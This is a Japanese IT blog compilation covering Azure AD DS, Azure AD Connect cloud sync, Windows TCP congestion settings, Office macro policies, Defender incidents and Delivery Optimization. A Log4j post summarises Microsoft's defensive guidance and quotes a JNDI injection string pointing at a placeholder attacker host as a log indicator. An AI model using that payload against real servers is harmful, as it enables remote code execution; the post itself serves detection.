Microsoft 365 Azure AD DS を確認してみましょう

Azure AD Connect クラウド同期の説明で少し出てきたのですが、クラウド同期では Azure AD Domain Services のサポートが行われていません。その Azure AD DS とはどういったものなのか確認してみましょう。

Azure AD DS とは、マネージドサービスとなった AD DS 機能です。

Azure AD から同期をかけ、 Azure 上に 2 台のドメインコントローラーを構築してくれるサービスとなっています。もちろんマネージドなので、自身でサーバーの管理を行う必要はありません。

概要は以下 docs にあるのですが、覚えておきたいのは以下の図でしょうか。

Azure AD から Managed domain （ Azure AD DS ）には一方通行の連携となっていることが分かります。

https://docs.microsoft.com/ja-jp/azure/active-directory-domain-services/overview?WT.mc_id=M365-MVP-5002496

また、連携はされるのですが、新規にドメインコントローラーとして追加されるわけではなく、新規のフォレストが構築される形になることも重要な点ですね。

既存のドメインとは片方向の信頼関係を結べるので、既存ドメインのユーザーは Azure AD DS に参加したアプリへのアクセスができるというわけです。この辺りの仕組みは以下を見ておくとわかりやすいでしょうか。

https://docs.microsoft.com/ja-jp/azure/active-directory-domain-services/concepts-resource-forest?WT.mc_id=M365-MVP-5002496

これらを加味し、実際にどういった構成にするべきか、どういったときに利用するか、などは以下に記載されています。

https://docs.microsoft.com/ja-jp/azure/active-directory-domain-services/scenarios?WT.mc_id=M365-MVP-5002496

個人的にはユーザーが同期されるものの片方向信頼となってしまうため若干使いづらい感じが残っているように思います。

それを考慮すると同期されたユーザーを正として環境を徐々にでも移行していき、最終的にハイブリッドをなくすように組み立てていくのがよさそうに感じますが、あまりそういったシナリオについては言及されていないのが気になるところですね。

実際に活用する際は FAQ の一読も忘れないようにしておきたいところです。

https://docs.microsoft.com/ja-jp/azure/active-directory-domain-services/faqs?WT.mc_id=M365-MVP-5002496

パスワードの有効期限の初期値が 90 日になっていることなど、組織運営上検討が必要な点が多く記載されています。

制約は多々あれどマネージド運用となるのは魅力的なため、 Azure AD に一本化が難しいケースなどでは利用の検討を行っておくとよいかもしれませんね。

音楽：Eyeball

Microsoft 365 Azure Active Directory Connect クラウド同期をチェックしよう

Microsoft 365 を利用する際に組織の Active Directory を有効活用するため、 Azure AD Connect を利用していることかと思います。しかしながら現在、クラウドを活用した Azure AD Connect クラウド同期という機能が提供され始めているのはご存じでしょうか。

今回はこれをチェックさせていただこうと思います。

https://docs.microsoft.com/ja-jp/azure/active-directory/cloud-sync/what-is-cloud-sync?WT.mc_id=M365-MVP-5002496

ちょっと長いのですが、上記 docs からコピーした機能差です。

ここにあるように、複数の AD から 1 つのテナントに同期をかけるということが可能となるのが大きな点でしょうか。同期する OU がかぶらなければ、AD Connect と AD Connect クラウド同期を同居することも可能となります。

しかしながら AD Connect クラウド同期ではデバイスの同期が行えないなど、サブセットのような扱いになることに注意しましょう。

機能	Azure Active Directory Connect 同期	Azure Active Directory Connect クラウド同期
単一のオンプレミス AD フォレストへの接続	●	●
複数のオンプレミス AD フォレストへの接続	●	●
切断された複数のオンプレミスADフォレストに接続する		●
ライトウェイト エージェント インストール モデル		●
高可用性のための複数のアクティブなエージェント		●
LDAP ディレクトリへの接続	●
ユーザーオブジェクトのサポート	●	●
グループオブジェクトのサポート	●	●
Contact オブジェクトのサポート	●	●
デバイスオブジェクトのサポート	●
属性フローの基本的なカスタマイズを許可する	●	●
Exchange Online 属性の同期	●	●
拡張属性 1 から 15 の同期	●	●
ユーザー定義 AD 属性の同期 (ディレクトリ拡張機能)	●
パスワード ハッシュ同期のサポート	●	●
パススルー認証のサポート	●
フェデレーションのサポート	●	●
シームレス シングル サインオン	●	●
ドメイン コントローラーへのインストールのサポート	●	●
Windows Server 2016 のサポート	●	●
ドメイン/OU/グループのフィルター処理	●	●
オブジェクトの属性値でのフィルター処理	●
最小の属性セットの同期 (MinSync) の許可	●	●
AD から Azure AD に流れる属性の削除の許可	●	●
属性フローの高度なカスタマイズの許可	●
パスワード ライトバックのサポート	●	●
デバイス ライトバックのサポート	●
グループの書き戻しのサポート	●
Azure AD Domain Services のサポート	●
Exchange ハイブリッドの書き戻し	●
AD ドメインあたりのオブジェクト数が無制限	●
AD ドメインあたり最大 150,000 オブジェクトのサポート	●	●
メンバー数が 50,000 人までのグループ	●	●
メンバー数が 250,000 人までの大規模なグループ	●
クロス ドメイン参照	●
オンデマンド プロビジョニング	●	●
米国政府のサポート	●	●

実際に活用するパターンは以下の docs にて述べられていますので参考にしてみるとい良いでしょう。

https://docs.microsoft.com/ja-jp/azure/active-directory/cloud-sync/plan-cloud-sync-topologies?WT.mc_id=M365-MVP-5002496

AD Connect から AD Connect クラウド同期に移行も行えることになっていますが、グループに関しては削除新規で作り直されるようなので、そのままでは本番での移行はちょっと現実的ではなさそうですね。

ただし、 以下にあるように mS-DS-ConsistencyGuid を取り出し設定しておくことでグループの保持も行えるように見受けられます。これを活用すればうまくいきそうな雰囲気ですね。

https://docs.microsoft.com/ja-jp/azure/active-directory/cloud-sync/tutorial-pilot-aadc-aadccp?WT.mc_id=M365-MVP-5002496#considerations

mS-DS-ConsistencyGuid のコピーは以下にあるので、これを応用することで対応できそうです。

https://docs.microsoft.com/ja-jp/azure/active-directory/hybrid/how-to-connect-migrate-groups?WT.mc_id=M365-MVP-5002496

実際に導入を行っていないので若干認識の相違があるかもしれませんが、実際に利用する際は注意しておきましょう。

音楽：つぼみ

Windows 11 LEDBAT と Cubic を確認してみましょう

LEDBAT をご存じでしょうか。 Windows Server 2019 で利用できるようになったネットワークの最適化技術です。

この機能の詳細は以下に詳しく書かれていますが、ユーザーの操作による通信とバックグラウンドでの転送とを区別し、ユーザー操作の通信を有効化するための仕組みとなっています。

https://techcommunity.microsoft.com/t5/networking-blog/top-10-networking-features-in-windows-server-2019-9-ledbat-8211/ba-p/339745?WT.mc_id=WDIT-MVP-5002496

【バックグラウンドデータのスロットリングを利用する場合】

【 LEDBAT を活用した場合】

この仕組みは Cubic という名前のフロントエンドの仕組みと対になって動作することになるのですが、 Cubic および LEDBAT の動作は以下で説明されています。

https://techcommunity.microsoft.com/t5/networking-blog/windows-transport-converges-on-two-congestion-providers-cubic/ba-p/339819?WT.mc_id=WDIT-MVP-5002496

Cubic の仕組みとしては、データをいっぱいまでキューイングし、キューに入りきらなくなったらキューへの送信速度を半減させて最適な速度を図っていくという流れをとっています。

LEDBAT はこの Cubic に追加し、キューの中での遅延をチェックする機能を持っています。キューの中に滞留するという状態になった場合、ほかのシステムでネットワークが使われていると判断し、速度を落としていくというわけですね。

Windows 11 ではこの機能が最初から有効化されているのですが、以下の PowerShell コマンドレットを用いて確認することができます。

Get-NetTCPSetting | Select SettingName, CongestionProvider, AutomaticUseCustom

上記のように結果の CongestionProvider に CUBIC が設定されていればこの機能が利用されているということになります。

Windows Server 2016 などはこの機能があとから追加されたため、利用したい場合は自動設定を行うことで更新されるとのこと。

Set-NetTCPSetting -SettingName InternetCustom -AutomaticUseCustom Enabled

クライアント OS 側ではあまり意識することはないのですが、こんな制御をしているということは覚えておくとよいでしょう。

音楽：My Love

Log4j の問題についてセキュリティブログが公開されています

この年末年始の休みに docs を眺めていたら、 Log4j  の問題が最上部のヘッダーに表示されるようになっていました。

この内容はなかなか難しかったのでかいつまんで意識しておきたいところを確認しておきたいと思います。

https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/?WT.mc_id=M365-MVP-5002496

この内容の概要としては、マイクロソフトがウォッチしている Log4j 関連の問題に関する解析状況を伝えていました。

この問題に対する Web アクセスの大半は以下のタイプのログで判断できるようです。

${jndi:ldap://[attacker site]/a}

ログからこのような内容が見受けられた場合はスキャンされているということですね。

また、ランサムウェア攻撃の増加は見られていないものの、ランサムウェアにつながるブローカーのネットワークからのスキャンが見られているとのこと。

今後ランサムウェアへの感染拡大が懸念されますね。

また、マイクロソフト製品での防御に関する情報も記載されています。

Microsoft Endpoint Defender をはじめ、無償のものから有償のものまでどういった検出が行われるのか記載されています。

Microsoft 365 E5 などを活用している場合脅威と脆弱性の管理が使えるので、以下のアドレスから Log4j 関連の情報を確認するダッシュボードも展開されています。

https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/overview

この問題が発覚してからまだ日が浅いこともあり、実際の対応はこれからということも多いかと思います。

Azure の WAF プレミアムなどでも一時対処ができるので対応方法の検討を進めておきましょう。

音楽：地球共鳴

Microsoft 365 Apps マクロを強制無効化するポリシーが適用されることになりました

Office 365 の Blog を確認していたのですが Microsoft 365 Apps において、マクロを強制的に無効化するポリシーが追加されることになったようです。

以下の図だとわかりにくいかもしれませんが、今までは信頼済みとなったドキュメントは管理者の設定にかかわらずマクロが有効な状態で開くことができたのですがその優先度が下がり、管理者が許可しなければマクロは無効な状態のままとなる。という動作になります。

https://techcommunity.microsoft.com/t5/office-365-blog/new-security-hardening-policies-for-trusted-documents/ba-p/3023465?WT.mc_id=M365-MVP-5002496

3 のところで元々は 8 に遷移していた動作が上記の順序になるという内容です。

ちなみに信頼済みドキュメントとは、トラストセンター内にある信頼済みドキュメントのことですね。

2201 のバージョンでは以下のように例外として、管理者ポリシーが優先される旨が記されるようになりました。

この変更の詳しい内容は以下の docs にも書かれているので、マクロの動作に関して制御を行われていた管理者の方は一度整理しておいたほうが良いかと思います。ユーザー側の判断でマクロを使ってもよいとしていた場合はこの変更が影響してきますね。

https://docs.microsoft.com/en-us/microsoft-365/security/active-content-in-trusted-docs?WT.mc_id=M365-MVP-5002496

なお、この機能は Insider では 2110 にて実装されており、 2022 年 2 月に最新チャネルに提供されるようです。

不用意にマクロファイルを開かないようにするという方向での改修となるため、ユーザーからの問い合わせを契機に例外とする流れでよいと思いますが、対処法は検討しておくのがよさそうです。

音楽：Go Go Cactus Man

Microsoft 365 セキュリティセンターのインシデントをチェックしてみましょう

Microsoft 365 はパブリッククラウド上にあるため、常に外部の脅威にさらされるシステムとなっています。

そのようなシステムなので、セキュリティへの気配りが特に重要となってくるわけですが、この観点を一手に担うのが Microsoft 365 Defender となっています。

これは旧来セキュリティセンターと呼ばれていたもので、静的な問題状況の説明や動的な不正アクセス検知などを行ってくれます。

そんなセキュリティセンターですが 12 月上旬にいつもと異なる場所からアクセスしてみたところアラートがきっちり上がってきたので見ていきたいと思います。

まずは Microsoft 365 Defender へアクセスしていきます。

https://security.microsoft.com/homepage

アクティブなインシデントに出てきたので詳細をクリックしてみていきます。

ユーザー名と IP が表示されて、問題があるかチェックするしていけるようになっていますね。

さらにアラートの中身を見ていきましょう。

中を見ていくと英語ですがどういった問題が発生したか出ていました。

普段 MFA でのアクセスだったのですが Password でサインインしたためこれがでた。というわけですね。

その中でアクティビティの利用状況やアクセス状況など様々な視点で確認できるよう情報が提供されています。

下部にはその当日どういったことがなされたかという情報も提供されていました。

どういったときにインシデントが表示されるのかは実際に動いてみないことにはわかりません。

このような形で参考とうなる情報が表示されていると検討しやすくなりますね！

音楽：追い風吹く道

Windows 11 配信の最適化におけるダウンロードモードからバイパス設定がなくなったようです

Windows 11 は Windows 10 で行われていた年に 2 回の機能更新から年 1 回の更新に変更され、サポート期間も延長されるという変更が加わりました。

Windows 11 はリリースされた直後のため、ある程度の規模がある組織では検討はこれからという形だと思いますが、 定期的な Windows 10 の機能更新への追随は必要となるため、 Windows 11 を前提に次回更新を検討するというパターンは相応あるのではないでしょうか。

そんな中、 WSUS を Windows 7/8 の更新方法のまま利用している方は注意が必要な情報がありましたのでお伝えしておきたいと思います。

以下の docs に記載があったのですが、配信の最適化の機能の中にあったバイパス設定が Windows 11 より利用できなくなったようなのです。

https://docs.microsoft.com/ja-jp/windows/deployment/update/waas-delivery-optimization-reference?WT.mc_id=WDIT-MVP-5002496

グループポリシーも確認してみたのですが、配信の最適化にあるダウンロードモードの設定からはバイパスの設定がなくなっていました。

こんな感じですね。

WSUS で BranchCache を行いたい場合はバイパスというのが定石でしたが、これからは簡易モードで動作させ、配信の最適化上で帯域制御を行っていくという形が必要になりそうです。

ただ、簡易モードの場合は配信の最適化は動作しないので、サーバーへの負荷が集中するというところは意識しておく必要がありそうです。

中々 docs をみているだけではわかりにくいのですが、以下 2 編も参考になると思います。

https://docs.microsoft.com/ja-jp/windows/deployment/update/waas-delivery-optimization?WT.mc_id=WDIT-MVP-5002496

https://docs.microsoft.com/ja-jp/mem/configmgr/sum/deploy-use/optimize-windows-10-update-delivery?WT.mc_id=WDIT-MVP-5002496#how-do-windows-express-downloads-work-with-configuration-manager

音楽：THEME of Pietro